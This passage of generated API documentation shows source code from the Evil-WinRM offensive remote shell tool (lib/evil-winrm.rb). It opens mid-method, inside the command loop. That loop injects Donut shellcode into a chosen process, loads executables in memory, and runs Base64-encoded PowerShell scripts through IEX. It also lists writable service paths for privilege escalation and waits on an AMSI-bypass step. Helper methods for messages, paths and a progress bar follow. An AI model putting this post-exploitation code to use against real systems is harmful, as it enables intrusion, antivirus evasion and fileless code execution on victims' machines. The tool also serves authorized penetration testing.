                                elsif invoke_Binary[2].to_s.empty?
                                    output = shell.run("Invoke-Binary " + load_executable)
                                end
                            elsif
                                output = shell.run("Invoke-Binary")
                            end
                        rescue StandardError => err
                            self.print_message("Check filenames", TYPE_ERROR, true, $logger)
                        end

                    elsif command.start_with?('Donut-Loader') then
                        begin
                            donut_Loader = command.tokenize
                            command = ""
                            if !donut_Loader[4].to_s.empty? then
                                pid = donut_Loader[2]
                                load_executable = donut_Loader[4]
                                load_executable = File.binread(load_executable)
                                load_executable = Base64.strict_encode64(load_executable)
                                output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
                            elsif
                                output = shell.run("Donut-Loader")
                            end
                            print(output.output)
                            if !$logger.nil?
                                $logger.info(output.output)
                            end
                        rescue
                            self.print_message("Check filenames", TYPE_ERROR, true, $logger)
                        end

                    elsif command.start_with?('services') then
                        command = ""
                        output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath  ; foreach ($servicio in $servicios  ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ;  $Servicios_object }')
                        print(output.output.chomp)
                        if !$logger.nil?
                            $logger.info(output.output.chomp)
                        end
                    elsif command.start_with?(*@functions) then
                        self.silent_warnings do
                            load_script = $scripts_path + command
                            command = ""
                            load_script = load_script.gsub(" ","")
                            load_script = File.binread(load_script)
                            load_script = Base64.strict_encode64(load_script)
                            script_split = load_script.scan(/.{1,5000}/)
                            script_split.each do |item|
                                output = shell.run("$a += '#{item}'")
                            end
                            output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
                            output = shell.run("$a = $null")
                        end

                    elsif command.start_with?('menu') then
                        command = ""
                        self.silent_warnings do
                            output = shell.run(menu)
                            output = shell.run("Menu")
                            autocomplete = shell.run("auto").output.chomp
                            autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
                            assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
                            assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
                            if !assemblyautocomplete.to_s.empty?
                                $LISTASSEMNOW = assemblyautocomplete.split("\n")
                                $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
                            end
                            $LIST2 = autocomplete.split("\n")
                            $LIST = $LIST + $LIST2
                            $COMMANDS = $COMMANDS + $LIST2
                            $COMMANDS = $COMMANDS.uniq
                            print(output.output)
                            if !$logger.nil?
                                $logger.info(output.output)
                            end
                        end

                    elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
                        puts()
                        self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING, true, $logger)
                        sleep(9)
                    end
                    output = shell.run(command) do |stdout, stderr|
                        stdout&.each_line do |line|
                            STDOUT.puts(line.rstrip!)
                        end
                        STDERR.print(stderr)
                    end
                    if !$logger.nil? && !command.empty?
                        output_logger=""
                        output.output.each_line do |line|
                            output_logger += "#{line.rstrip!}\n"
                        end
                        $logger.info(output_logger)
                    end
                end
            rescue Errno::EACCES => ex
                puts()
                self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger)
                retry
            rescue Interrupt
                puts("\n\n")
                self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING, true, $logger)
                if STDIN.getch.downcase == "y"
                    self.custom_exit(130)
                else
                    retry
                end
            end
        self.custom_exit(0)
    end
    rescue SystemExit
    rescue SocketError
        self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    rescue Exception => ex
        self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger)
        self.custom_exit(1)
    end
end

#normalize_path(str) ⇒ Object


843
844
845
846
847
848
# File 'lib/evil-winrm.rb', line 843

def normalize_path(str)
    p_str = str || ""
    p_str = str.gsub('\\', '/')
    p_str = Regexp.escape(str)
    p_str
end

#paths(a_path) ⇒ Object

Read local files and directories names


421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
# File 'lib/evil-winrm.rb', line 421

def paths(a_path)
    parts = self.get_dir_parts(a_path)
    my_dir = parts[0]
    grep_for = parts[1]

    my_dir = File.expand_path(my_dir)
    my_dir = my_dir + "/" unless my_dir[-1] == '/'

    files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH)
    directories = Dir.glob("#{my_dir}*").select {|f| File.directory? f}

    result = files + directories || []

    result.grep( /^#{Regexp.escape(my_dir)}#{grep_for}/i ).uniq
end

Print script header


258
259
260
261
# File 'lib/evil-winrm.rb', line 258

def print_header()
    puts()
    self.print_message("Evil-WinRM shell v#{VERSION}", TYPE_INFO, false)
end

Messsage printing


322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
# File 'lib/evil-winrm.rb', line 322

def print_message(msg, msg_type, prefix_print=true, log=nil)
    if msg_type == TYPE_INFO then
        msg_prefix = "Info: "
        color = "blue"
    elsif msg_type == TYPE_WARNING then
        msg_prefix = "Warning: "
        color = "yellow"
    elsif msg_type == TYPE_ERROR then
        msg_prefix = "Error: "
        color = "red"
    elsif msg_type == TYPE_DATA then
        msg_prefix = "Data: "
        color = 'magenta'
    else
        msg_prefix = ""
        color = "default"
    end

    if !prefix_print then
        msg_prefix = ""
    end
    if $colors_enabled then
        puts(self.colorize("#{msg_prefix}#{msg}", color))
    else
        puts("#{msg_prefix}#{msg}")
    end

    if !log.nil?
        log.info("#{msg_prefix}#{msg}")
    end
    puts()
end

#progress_bar(bytes_done, total_bytes) ⇒ Object

Progress bar


456
457
458
459
460
461
462
463
# File 'lib/evil-winrm.rb', line 456

def progress_bar(bytes_done, total_bytes)
    progress = ((bytes_done.to_f / total_bytes.to_f) * 100).round
    progress_bar = (progress / 10).round
    progress_string = "" * (progress_bar-1).clamp(0,9)
    progress_string = progress_string + "" + ("" * (10-progress_bar))
    message = "Progress: #{progress}% : |#{progress_string}|          \r"
    print message
end

#read_executables(executables) ⇒ Object

Read executable files


415
416
417
418
# File 'lib/evil-winrm.rb', line 415

def read_executables(executables)
    files = Dir.glob("#{executables}*.exe", File::FNM_DOTMATCH)
    return files
end

#read_scripts(scripts) ⇒ Object

Read powershell script files


409
410
411
412
# File 'lib/evil-winrm.rb', line 409

def read_scripts(scripts)
    files = Dir.entries(scripts).select{ |f| File.file? File.join(scripts, f) } || []
    return files.grep(/^*\.(ps1|psd1|psm1)$/)
end

#set_cache(n_path, paths) ⇒ Object


835
836
837
838
839
840
841
# File 'lib/evil-winrm.rb', line 835

def set_cache(n_path, paths)
    unless n_path.nil? || n_path.empty? then
        a_path = self.normalize_path(n_path)
        current_time = Time.now.to_i
        @directories[a_path] = { 'time' => current_time, 'files' => paths }
    end
end

#silent_warningsObject

Silent warnings


400
401
402
403
404
405
406
# File 'lib/evil-winrm.rb', line 400

def silent_warnings
    old_stderr = $stderr
    $stderr = StringIO.new
    yield
ensure
    $stderr = old_stderr
end